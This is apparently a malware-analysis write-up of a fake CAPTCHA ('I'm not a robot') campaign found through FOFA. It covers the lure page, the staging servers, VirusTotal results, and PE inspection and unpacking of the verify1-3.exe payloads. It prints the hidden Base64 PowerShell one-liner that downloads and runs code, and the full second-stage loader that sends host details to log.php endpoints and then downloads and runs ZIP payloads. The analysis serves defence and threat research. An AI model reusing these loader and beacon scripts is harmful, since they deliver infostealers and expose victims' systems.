

Pick a Random Site on FOFA with [body="const commandToRun =" && body="setClipboardCopyData"]

FOFA search results for the query: `body="const commandToRun =" && body="setClipboardCopyData"`

TOP FID

FID	Count
gagz3f...	110
rt65kd...	33
Vbwhz...	15
q8q9K...	8
D8Sm...	8

TOP COUNTRIES/REGIONS

Country/Region	Count
US	116
RU	47
DE	21
IN	9
CA	8

TOP OPEN PORTS

Port	Count
80	133
443	125
8000	2
3000	1
8080	1

Search Results:

- https://highway-board.com**
IP: 193.43.91.75
Organization: Telfy Technology Limited
ASN: 41717
2025-03-15
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Date: Sat, 15 Mar 2025 05:44:33 GMT
Server: nginx
Vary: Accept-Encoding
- gordon-private.com**
IP: 94.181.229.250
Organization: JSC ER-Telecom Holding
ASN: 41727
2025-03-15
SOK_hash: Q...p
Apache/2.4.41 (Ubuntu) / ubuntu
HTTP/1.1 200 OK
Connection: close
Content-Length: 51540
Accept-Ranges: bytes
Content-Type: text/html; charset=UTF-8
Date: Fri, 14 Mar 2025 16:08:09 GMT
Etag: "c254-6303922064200"
Last-Modified: Thu, 13 Mar 2025 13:16:56 GMT
Server: Apache/2.4.41 (Ubuntu)
User-Agent: Cloudflare

Getting the FakeCAPTCHA prompt.

gordon-private.com

Verifying you are human

☐ I'm not a robot

layeredge.in needs to...

Cloudflare WAF

To protect against bots, phishing attacks and malicious applications, please follow the verification steps below.

- Step 1**
Click **Windows + R** to open the 'Run' dialog box.
- Step 2**
To securely verify your internet connection, press **CTRL + V** to paste 'Cloudflare' into the dialog box.
- Step 3**
Finally, simply press **Enter** to authenticate your internet connection, and you will be automatically redirected to the website.

Waiting to process manual verification.

Powershell payload with b64 encoded url link to invoke. The “Cloudflare” string hides the rest of the script when copy-pasting it to run.

```
powershell -w hidden -c
$a='aHR0cHM6Ly90bGdybS1yZWVpcmVjdC5pY3UvMS50eHQ=';$b=[Convert]::FromBase64
String($a);$c=[System.Text.Encoding]::UTF8.GetString($b);Invoke-Expression
(Invoke-WebRequest -Uri $c).Content
# Cloudflare
```

Decoding the b64 string with Cyberchef translates to hXXps[:]//tlgrm-redirect[.]icu/1[.]txt

Index of /

Name	Last modified	Size	Description
----------------------	-------------------------------	----------------------	-----------------------------



1.txt	2025-03-15 00:28	5.3K	
-----------------------	------------------	------	--

Apache/2.4.41 (Ubuntu) Server at tlgrm-redirect.icu Port 443

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Write-Host "Script started"
# Скрипт запущен

try {
    # Collect system information
    # Сбор информации о системе
    $ipInfo = Invoke-RestMethod -Uri "hxxp://ipinfo[.]io/json"
    Write-Host "IP data received: $ipInfo"
    # IP-данные получены
    $ip = $ipInfo.ip
    $country = $ipInfo.country
    $os = (Get-WmiObject Win32_OperatingSystem).Caption
    Write-Host "OS: $os, Country: $country"
    # ОС: $os, Страна: $country

    # Form initial message data
    # Формирование данных для начального сообщения
    $info = @{
        ip = $ip
        country = $country
        flag = "🌐"
        os = $os
        message = ":rocket: Script execution started successfully.`nEarth IP: $ip`nLocation Country: $country`nSystem Operating
system: $os`nTime: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"
    }

    # Send initial message
    # Отправка начального сообщения
    $infoJson = $info | ConvertTo-Json -Depth 10
    Invoke-RestMethod -Uri "hxxps://tlgrmverif[.]cyou/log.php" -Method POST -Body $infoJson -ContentType "application/json"
    Write-Host "Initial message sent."
    # Начальное сообщение отправлено.
} catch {
```

```

Write-Host "Error collecting system information: $_"
# Ошибка при сборе информации о системе
}

# List of resources with new domain micropedik.in
# Список ресурсов с новым доменом micropedik.in
$e = @(
    @{ u = "aHR0cHM6Ly9taWNyb3BIZGlrlmLzEuemlw"; z = "MS56aXA="; x = "ZXh0cmFjdA=="; e = "dmVyaWZ5MS5leGU="
    },
    # URL: hxxps://micropedik[.]in/1.zip, ZIP Name: 1.zip, Extract Type: extract, EXE: verify1.exe
    @{ u = "aHR0cHM6Ly9taWNyb3BIZGlrlmLzluemlw"; z = "Mi56aXA="; x = "ZXh0cmFjdA=="; e = "dmVyaWZ5Mi5leGU=" },
    # URL: hxxps://micropedik[.]in/2.zip, ZIP Name: 2.zip, Extract Type: extract, EXE: verify2.exe
    @{ u = "aHR0cHM6Ly9taWNyb3BIZGlrlmLzMuemlw"; z = "My56aXA="; x = "ZXh0cmFjdA=="; e = "dmVyaWZ5My5leGU=" }
    # URL: hxxps://micropedik[.]in/3.zip, ZIP Name: 3.zip, Extract Type: extract, EXE: verify3.exe
)

# Base64 decoding function
# Функция декодирования Base64
function d([string]$s) {
    [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))
}

# Download, extract, and execute loop
# Цикл скачивания, распаковки и запуска
$i = 1
foreach ($r in $e) {
    try {
        $u = d $r.u
        $z = Join-Path $env:TEMP (d $r.z)
        $extractFolder = "extract$i"
        # Generate a unique folder name
        # Формируем имя для каждой распаковки
        $x = Join-Path $env:TEMP $extractFolder
        $n = d $r.e

        # Download ZIP file
        # Скачивание ZIP-файла
        Write-Host "Downloading ZIP from $u"
        # Скачивание ZIP с $u
        Invoke-WebRequest -Uri $u -OutFile $z

        if (Test-Path $z) {
            Write-Host "ZIP file downloaded: $z"
            # ZIP-файл скачан: $z
            $statusMessage = ":package: ZIP file downloaded successfully: $z"
        } else {
            Write-Host "Error: ZIP file not downloaded."
            # Ошибка: ZIP-файл не скачан.
            $statusMessage = ":x: ZIP file not downloaded: $u"
            continue
        }

        # Send download status
        # Отправка статуса скачивания
        $info.message = $statusMessage
        $info.json = $info | ConvertTo-Json -Depth 10
        Invoke-RestMethod -Uri "hxxps://tigrmveriff[.]jcyou/log.php" -Method POST -Body $info.json -ContentType "application/json"

        # Create extraction folder
        # Создание папки для распаковки
        if (-not (Test-Path $x)) { New-Item -ItemType Directory -Path $x | Out-Null }

        # Extract ZIP
        # Распаковка ZIP
        Add-Type -AssemblyName System.IO.Compression.FileSystem
        [System.IO.Compression.ZipFile]::ExtractToDirectory($z, $x)
        Write-Host "ZIP file extracted to $x"
        # ZIP-файл распакован в $x
        $statusMessage = ":open_file_folder: ZIP file extracted to: $x"
    }
}

```

```

# Send extraction status
# Отправка статуса распаковки
$info.message = $statusMessage
$info.json = $info | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri "https://tigrmverif[.]cyu/log.php" -Method POST -Body $info.json -ContentType "application/json"
} catch {
    Write-Host "Execution error: $_"
    # Ошибка выполнения: $_
}
$i++
# Increment counter for next extraction folder
# Увеличиваем счётчик для следующей папки
}

```

Looks like most of the domains called in the script are hosted on one IP.

SEARCH >

94.181.229.250

AS 41727 (ERTH-KIROV-AS)

Summary	OSINT (2)	Resolutions (203)	Subdomains	DNS Records (0)	Host Connections (884+)	Host Responses (1001+)	CT Stream
Reputation & Risk 0 Positive 0 Warning 0 High Risk				Informational			

Dashboard > Search > IP Details for 94.181.229.250

94.181.229.250 - Overview

Info
Domain 85
History
Associations 0
SSL History
SSH History
JARM
Port History
Signals Activity 0

94.181.229.250

JSC "ER-Telecom Holding"
Kirov, Kirov Oblast, RU
















DNS

Reverse DNS -
Forward DNS -
Tag DNS -

ASN

IP Ranges 94.181.228.0/22
Hosting Companies JSC "ER-Telecom Holding"
ASN [AS41727](#)

ftp.gordon-private.com	-
www.distribution-hyperfoundation.net	-
gordon-private.com	-
www.gordon-private.com	-
mail.gordon-private.com	-

Hostname	Rank
 www.tlgrm-redirect.icu	-
 info-ramen.com	-
 distribution-pawstokens.com	-
 spacex-giveaways.com	-
 www.soubtcevent.com	-
 ftp.tele-verify.com	-
 www.beckerpresales.net	-
 www.tvl-mogcoin.com	-
 mail.xrp2025.com	-
 www.xrpdrop.net	-
 www.authentication-safeguard.com	-
 mail.micropedik.in	-
 verifications-safeguard.com	-
 drop-pawscoin.com	-
 reward-usualdao.com	-

Contents of host called in the PScript.




FLARE (FLARE Installed) [Running] - Oracle VirtualBox

FileMachineViewInputDevicesHelp

Index of /







micropedik.in

Index of /

Name	Last modified	Size	Description
 1.zip	2025-03-15 00:12	2.2M	
 2.zip	2025-03-16 03:41	2.0M	
 3.zip	2025-03-15 00:30	9.3M	

Apache/2.4.41 (Ubuntu) Server at micropedik.in Port 443

Contents of 1.zip

name	Date modified	type	size
 1.zip	3/15/2025 8:09 PM	ZIP File	2,274 KB
 astroid.ogg	3/14/2025 2:07 PM	OGG File	52 KB
 backdrop.mp4	3/14/2025 2:07 PM	MP4 Video	828 KB
 DuiLib.dll	3/14/2025 2:07 PM	Application exten...	520 KB
 verify1.exe	3/14/2025 2:07 PM	Application	1,183 KB
 WinSparkle.dll	3/14/2025 2:07 PM	Application exten...	1,356 KB

VT Score of verify1.exe

2
/ 73
Community Score

2/73 security vendors flagged this file as malicious

ReanalyzeSimilarMore

4066bdb5e7bf703230d8f0697e53a73b661318025e24c489c6a0fe54debd805f
SpotifyConverter.exe

Size
1.16 MB

Last Analysis Date
a moment ago

EXE

peexe detect-debug-environment signed idle overlay

DETECTIONDETAILSRELATIONSBEHAVIORCOMMUNITY 6

VT score of WinSparkle.dll

1

/ 73

Community Score

1/73 security vendor flagged this file as malicious

Reanalyze Similar More

d8703b9a7f8063ec995a02a62811fec267c0e63cfd5bc28faf71cd37bdf933

WinSparkle.dll

Size1.32 MB

Last Analysis Datea moment ago

DLL

peidlsignedoverlayinvalid-signature

DETECTION

DETAILS

BEHAVIOR

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

AhnLab-V3

Infostealer/Win.LummaC2.R695272

Acronis (Static ML)

Undetected

InitialAnalysis screenshots with PESTudio and Detect-it-easy

indicators (wait...)

footprints (wait...)

virustotal (score > 2/73)

dos-header (size > 64 bytes)

dos-stub (size > 192 bytes)

rich-header (tooling > Visual Studio 2008)

file-header (executable > 32-bit)

optional-header (subsystem > GUI)

directories (count > 7)

sections (count > 5)

libraries (flag > 6)

imports (count > 668)

exports (n/a)

thread-local-storage (n/a)

.NET (n/a)

resources (signature > unknown)

strings (wait...)

debug (debug > RSOS)

manifest (level > asnvrker)

version (FileDescription > Viwizard Applicatio

certificate (issued-to > Shenzhen Tengruimin

overlay (n/a)

WS2_32.dll31Windows Socket Library

WLDAP32.dll17Win32 LDAP Library

CRYPT32.dll12Windows Crypto Library

WinSparkle.dll5n/a

KERNEL32.dll141Windows NT BASE API Client

USER32.dll40Multi-User Windows USER API C

GDI32.dll7GDI Client Library

ADVAPI32.dll20Advanced Windows 32 Base API

SHELL32.dll7Windows Shell Library

ole32.dll6Microsoft OLE for Windows

DuiLib.dll363n/a

SHLWAPI.dll4Shell Light-weight Utility Library

PSAPI.DLL1Process Status Library

IPHLPAPI.DLL2IP Helper API

VERSION.dll3Version Checking and File Instal

WININET.dll9Internet Extensions for Win32 Li

ScanAutomatic

EndiannessLE

Mode32-bit

Architecturei386

TypeGUI

PE32

Operation system: Windows(2000)[i386, 32-bit, GUI]

Linker: Microsoft Linker(9.00.30729)

Compiler: Microsoft Visual C/C++(15.00.30729)[LTCG/C++]

Language: C++

Tool: Visual Studio(2008)

Sign tool: Windows Authenticode(2.0)[PKCS #7]

Debug data: Binary(Offset=0x000ef640,Size=0x75)

Debug data: PDB file link(7.0)

Overlay: Binary(Offset=0x00124e00,Size=0x2d10)

Certificate: WinAuth(2.0)[PKCS #7]

SignaturesFlagsDatabase

DirectoryLog

647 msec

Scan

Shortcuts

Options

About

Exit

Contents of Verify2.zip

Name	Date modified	Type	Size
2.zip	3/15/2025 8:09 PM	ZIP File	2,039 KB
verify2.exe	3/15/2025 5:04 PM	Application	3,056 KB

VT score of Verify2.exe and First Submission Date

14

/ 73

Community Score

14/73 security vendors flagged this file as malicious

69c513f0ddf4416e0d47f778594fd76b96424359c7e9c2e5585ad0abaaf5dbc0

verify2.exe

peexe64bits

History ⓘ	
Creation Time	2003-05-17 17:06:58 UTC
First Submission	2025-03-16 03:16:31 UTC
Last Submission	2025-03-16 03:16:31 UTC
Last Analysis	2025-03-16 03:16:31 UTC

PEStudio and Detect it Easy information on Verify2.exe

Imports (flag > 13)

Import Name	Import Type	Import Address	Import Name	Import Type	Import Address	Import Name	Import Type	Import Address
WriteFile	imp		PostQueuedCompletionStatus	imp		LoadLibraryExW	imp	
WriteConsoleW	imp		LoadLibraryW	imp		SetThreadContext	imp	
WerSetFlags	imp		LoadLibraryExW	imp		GetThreadContext	imp	
WerGetFlags	imp		SetThreadContext	imp		GetSystemInfo	imp	
WaitForMultipleObjects	imp		GetThreadContext	imp		GetSystemDirectoryA	imp	
WaitForSingleObject	imp		GetSystemInfo	imp		GetCtrlHandle	imp	
VirtualQuery	imp		GetSystemDirectoryA	imp				
VirtualFree	imp		GetCtrlHandle	imp				
VirtualAlloc	imp							
TlsAlloc	imp							
SwitchToThread	imp							
SuspendThread	imp							
SetWaitableTimer	imp							
SetProcessPriorityBoost	imp							
SetEvent	imp							
SetErrorMode	imp							
SetConsoleCtrlHandler	imp							
RtlVirtualUnwind	imp							
RtlLookupFunctionEntry	imp							
ResumeThread	imp							
RaiseFastException	imp							
PostQueuedCompletionStatus	imp							
LoadLibraryW	imp							
LoadLibraryExW	imp							
SetThreadContext	imp							
GetThreadContext	imp							
GetSystemInfo	imp							
GetSystemDirectoryA	imp							
GetCtrlHandle	imp							

Contents of Payload3.zip

Name	Date modified	Type	Size
3.zip	3/15/2025 8:15 PM	ZIP File	9,485 KB
Amnet.dll	3/10/2025 3:02 PM	Application exten...	120 KB
Comn.dll	3/10/2025 3:02 PM	Application exten...	350 KB
ideologue.sql	3/10/2025 3:02 PM	SQL Source File	3,200 KB
libcrypto-1_1.dll	3/10/2025 3:02 PM	Application exten...	2,290 KB
libssl-1_1.dll	3/10/2025 3:02 PM	Application exten...	642 KB
msvcp80.dll	3/10/2025 3:02 PM	Application exten...	536 KB
msvcr80.dll	3/10/2025 3:02 PM	Application exten...	612 KB
muddle.html	3/10/2025 3:02 PM	Chrome HTML Do...	48 KB
NTHelp.dll	3/10/2025 3:02 PM	Application exten...	72 KB
QtCore4.dll	3/10/2025 3:02 PM	Application exten...	2,362 KB
QtGui4.dll	3/10/2025 3:02 PM	Application exten...	8,402 KB
verify3.exe	3/10/2025 3:02 PM	Application	156 KB

VT of verify3.exe

Community Score

73

e11d68ee9294a55de8548687935567d030dae3a594d40ea75f88598f30ebb76e

verify3.exe

Size155.05 KB

Last Analysis Datea moment ago

EXE

peexe

detect-debug-environment

overlay

signed

checks-user-input

idle

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY

Join our Community

and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Basic properties

MD5cc41aedb74d07c2d6391882f89205a35

SHA-1404b9827728dfc7cd501d33a38c933c70a34b3da

SHA-256e11d68ee9294a55de8548687935567d030dae3a594d40ea75f88598f30ebb76e

Vhash015056155d1d551az15hz1dz4002e1z

Authentihashc4b5fcae66c47553fc9e2a2790a8815c656e9411d4e1ea7b9079d842224e5d6

Imphashed6337caa927d05fe27de1b35d37a5c2

Rich PE header hash0cd57ceea26cc89ce9e1a7c39716300

SSDEEPT3072:NBWh/CvQbrcjRUI4CYoiHVXfOL4Oz9Dh:Ngp3QbCRUI4CYoiHVXfOL4Ozxh

TLSH18DF35B21B6839413E5DE4630C2D03EA5D7DF9B32F8A64EBDB58494914E06E02CB45AF

File typeWin32 EXE

executable

windows

win32

pe

peexe

MagicPE32 executable (GUI) Intel 80386, for MS Windows

TrIDMicrosoft Visual C++ compiled executable (generic) (32.2%) | Win64 Executable (generic) (20.5%) | Win32 Dynamic Link Library (generic) (12.8%) | Win16 NE executable ...

DetectItEasyPE32 | Compiler: EP:Microsoft Visual C/C++ (2005) [EXE32] | Library: Qt (4.X) | Compiler: Microsoft Visual C/C++ (14.00.50727) [C++/book] | Linker: Microsoft Linker (8.0...

MagikaPEBIN

File size155.05 KB (158768 bytes)

History

Creation Time2020-12-22 01:25:37 UTC

Signature Date2021-12-15 07:25:00 UTC

First Seen In The Wild2020-12-22 02:25:37 UTC

First Submission2021-12-15 10:02:05 UTC

Last Submission2025-03-16 05:07:11 UTC

PEStudio and Detect it Easy information on Verify3.exe

indicators (string > url-pattern)

footprints (disabled)

virustotal (disabled)

dos-header (size > 64 bytes)

dos-stub (size > 152 bytes)

rich-header (tooling > Visual Studio 2005)

file-header (executable > 32-bit)

optional-header (subsystem > GUI)

directories (count > 6)

sections (count > 5)

libraries (count > 9)

imports (count > 384)

exports (n/a)

thread-local-storage (n/a)

.NET (n/a)

resources (signature > manifest)

strings (count > 1832)

debug (debug > RS05)

manifest (size > 340 bytes)

version (n/a)

certificate (valid-to > stamp)

overlay (n/a)

certificate

revision0x0200 (WIN_CERT_REVISION_2_0)

type0x0002 (WIN_CERT_TYPE_X509)

file-offset (from)0x00022000

file-offset (to)0x00026C30

size-certificate0x4C30 (19504 bytes)

size-PKCS70x4C23 (19491 bytes)

size-PKCS7-null-padding1 bytes

certificate > unknownn/a

details

nameAOMEI International Network Limited

signature-infoThis digital signature is OK.

issued-byCOMODO RSA Extended Validation Code Signing Certificate

stamp > signingWed Dec 15 00:25:37 2021

valid-fromMon Nov 04 17:00:00 2019

valid-toFri Nov 04 16:59:59 2022

serial-number415D8D481D99C664657864D0515EE54A

thumbprintn/a

signature-algorithmsha256RSA

program-namen/a

email514400299@qq.com

more-info-urln/a

Scan

Automatic

EndiannessLE

Mode32-bit

Architecturei386

TypeGUI

PE32

Operation system: Windows(95)[i386, 32-bit, GUI]

Linker: Microsoft Linker(8.00.50727)

Compiler: Microsoft Visual C/C++(14.00.50727)[C++/book]

Language: C++

Library: Qt(4.7.0.0)

Tool: Visual Studio(2005)

Sign tool: Windows Authenticode(2.0)[PKCS #7]

Debug data: Binary[Offset=0x000174dc,Size=0x47]

Debug data: PDB file link(7.0)

Overlay: Binary[Offset=0x00022000,Size=0x4c30]

Certificate: WinAuth(2.0)[PKCS #7]

Signatures

Flags

Database

Directory

Log

528 msec

Scan

Shortcuts

Options

About

Exit

*WIP

Unpacking verify1.exe

Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	Watch 1	Locals
Address	Hex	Hex	Hex	Hex	Hex	Hex
09A70000	4D 5A 90 00	03 00 00 00	04 00 00 00	FF FF 00 00	MZ.....yy..	
09A70010	B8 00 00 00	00 00 00 00	40 00 00 00	00 00 00 00@.....	
09A70020	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00δ.....	
09A70030	00 00 00 00	00 00 00 00	00 00 00 00	F0 00 00 00δ.....	
09A70040	0E 1F BA 0E	00 B4 09 CD	21 B8 01 4C	CD 21 54 68	..°..!i!Li!Th	
09A70050	69 73 20 70	72 6F 67 72	61 6D 20 63	61 6E 6E 6F	is program canno	
09A70060	74 20 62 65	20 72 75 6E	20 69 6E 20	44 4F 53 20	t be run in DOS	
09A70070	6D 6F 64 65	2E 0D 0D 0A	24 00 00 00	00 00 00 00	mode...\$......	
09A70080	2D 1B 3D 46	69 7A 53 15	69 7A 53 15	69 7A 53 15	-.=FizS.izS.izS.	
09A70090	32 12 50 14	6A 7A 53 15	7D 11 53 14	68 7A 53 15	2.P.jzS.}.S.hzS.	
09A700A0	7D 11 50 14	2F 7A 53 15	7D 11 5D 14	71 78 53 15	}.P./zS.}.].q{S.	
09A700B0	7D 11 56 14	72 7A 53 15	7D 11 57 14	1E 7A 53 15	}.V.rzS.}.W.zS.	
09A700C0	7D 11 AC 15	68 7A 53 15	7D 11 51 14	68 7A 53 15	}.~.hzS.}.Q.hzS.	
09A700D0	52 69 63 68	69 7A 53 15	00 00 00 00	00 00 00 00	RichizS.....	
09A700E0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
09A700F0	50 45 00 00	4C 01 08 00	06 01 04 10	00 00 00 00	PE..L.....	

IAT Exports and Resources are empty and needs remapping.

Disasm	General	Strings	DOS Hdr	Rich Hdr	File Hdr	Optional Hdr	Section Hdrs	Exports	Resources	Security	BaseReloc	Debug
+	+	+	+	+	+	+	+	+	+	+	+	+
Name	Raw Addr.	Raw size	Virtual Addr.	Virtual Size	Characteristics	Ptr to Reloc.	Num. of Reloc.	Num. of Linenum.				
> .text	400	11FE00	1000	11FC25	60000020	0	0	0				
> RT	120200	200	121000	1A9	60000020	0	0	0				
> PAGE	120400	400	122000	33A	60000020	0	0	0				
> .data	120800	E00	123000	5A84	C0000040	0	0	0				
> .rsrcdata	121600	2400	129000	2378	C0000040	0	0	0				
> .ddcf	123A00	200	12C000	4	40000040	0	0	0				
> .rsrc	123C00	70200	12D000	700A0	40000040	0	0	0				
> .reloc	193E00	5200	19E000	51FC	42000040	0	0	0				

Raw	Virtual
00000000	00000000
[.text]	[.text]
12080000	12080000
[.rsrcdata]	[.rsrcdata]
193E0000	193E0000
[.reloc]	[.reloc]

DisasmGeneralStringsDOS HdrRich HdrFile HdrOptional HdrSection HdrsExportsResourcesSecurityBaseRelocDebug

✦

Offset	Name	Value	Meaning
10D1D0	Characteristics	77066FC3	
10D1D4	TimeStamp	0	
10D1D8	MajorVersion	FFE4	
10D1DA	MinorVersion	FFFF	
10D1DC	Name	0	MZ
10D1E0	Base	FFFFFFF8	
10D1E4	NumberOfFunc...	0	
10D1E8	NumberOfNames	FFFFFFFE	
10D1EC	AddressOfFunc...	77069766	
10D1F0	AddressOfNames	7706976A	
10D1F4	AddressOfNam...	FFFFFFFE	

Exported Functions [0 entries]

Offset	Ordinal	Function RVA	Name RVA	Name	Forwarder
--------	---------	--------------	----------	------	-----------

DisasmGeneralStringsDOS HdrRich HdrFile HdrOptional HdrSection HdrsExportsResourcesSecurityBaseRelocDebug

📄

Offset	Name	Value	Value	Meaning	Meaning	Type	Entries Count
123C00	Characteristics	0					
123C04	TimeStamp	0					
123C08	MajorVersion	0					
123C0A	MinorVersion	0					
123C0C	NumberOfNam...	0					
123C0E	NumberOfEnt...	0					

TableContent

Resources

Offset	Name	Value
--------	------	-------

After repairing the IAT.

Name	Raw Addr.	Raw size	Virtual Addr.	Virtual Size	Characteristics	Ptr to Reloc.	Num. of Reloc.	Num. of Linenum.
> .text	1000	120000	1000	11FC25	60000020	0	0	0
> RT	121000	1000	121000	1A9	60000020	0	0	0
> PAGE	122000	1000	122000	33A	60000020	0	0	0
> .data	123000	6000	123000	5A84	C0000040	0	0	0
> .mrdta	129000	4000	129000	2378	C0000040	0	0	0
> .00cfg	12C000	1000	12C000	4	40000040	0	0	0
> .rsrc	12D000	6F800	12D000	700A0	40000040	0	0	0
> .reloc	19E000	5200	19E000	51FC	42000040	0	0	0

Raw	Virtual
<div> <div>1000</div> <div>122000</div> <div>126000</div> <div>19E000</div> </div> <div> <div>[.text]</div> <div>[.data]</div> <div>[.reloc]</div> </div>	<div> <div>1000</div> <div>122000</div> <div>126000</div> <div>19E000</div> </div> <div> <div>[.text]</div> <div>[.data]</div> <div>[.reloc]</div> </div>

AT Dump1.bin

Disasm	General	Strings	DOS Hdr	Rich Hdr	File Hdr	Optional Hdr	Section Hdrs	Exports	Resources	Security	BaseReloc	Debug	LoadConfig
<div> <div>+</div> <div>+</div> </div>													

Offset	Name	Value	Meaning
100DD0	Characteristics	0	
100DD4	ReproChecksum	10040106	
100DD8	MajorVersion	0	
100DDA	MinorVersion	0	
100DDC	Name	113DDC	ntdll.dll
100DE0	Base	8	
100DE4	NumberOfFunc...	982	
100DE8	NumberOfNames	982	
100DEC	AddressOffunc...	100DF8	
100DF0	AddressOffNames	110400	
100DF4	AddressOffNam...	112A08	

Exported Functions [2434 entries]					
Offset	Ordinal	Function RVA	Name RVA	Name	Forwarder
100DF8	8	2C070	118D00	RtlDispatchAPC	
100DFC	9	40D20	113D16	RtlActivateActiv...	
10DE00	A	4C7E0	113D3D	RtlDeactivateAc...	
10DE04	B	8ED30	113D66	RtlInterlockedP...	
10DE08	C	8EDD0	113D82	RtlUlongByteSw...	
10DE0C	D	8ED60	113D93	RtlUlonglongBy...	
10DE10	E	8EE00	113DA8	RtlUshortByteS...	
10DE14	F	67BF0	113DBA	A_SHAFinal	
10DE18	10	88DD0	113DC5	A_SHAInit	
10DE1C	11	67CD0	113DCF	A_SHAUpdate	
10DE20	12	8EE10	113DD8	AlpcAdjustCom...	
10DE24	13	8EE40	113E04	AlpcFreeCompl...	
10DE28	14	8EF30	113E22	AlpcGetComple...	
10DE2C	15	8EF60	113E4E	AlpcGetComple...	

AT Dump1.bin

Disasm	General	Strings	DOS Hdr	Rich Hdr	File Hdr	Optional Hdr	Section Hdrs	Exports	Resources	Security	BaseReloc	
Offset	Name	Value	Value	Meaning	Meaning	Type	Entries Count					
12D000	Characteristics	0										
12D004	ReproChecksum	0										
12D008	MajorVersion	0										
12D00A	MinorVersion	0										
12D00C	NumberOfNam...	1										
12D00E	NumberOfIdEnt...	2										
12D010	Name_0	800000E8	80000028	12d0e8	12d028	MUI	1					
12D018	ID_1	B	80000040		12d040	Message Table	1					
12D020	ID_2	10	80000058		12d058	Version	1					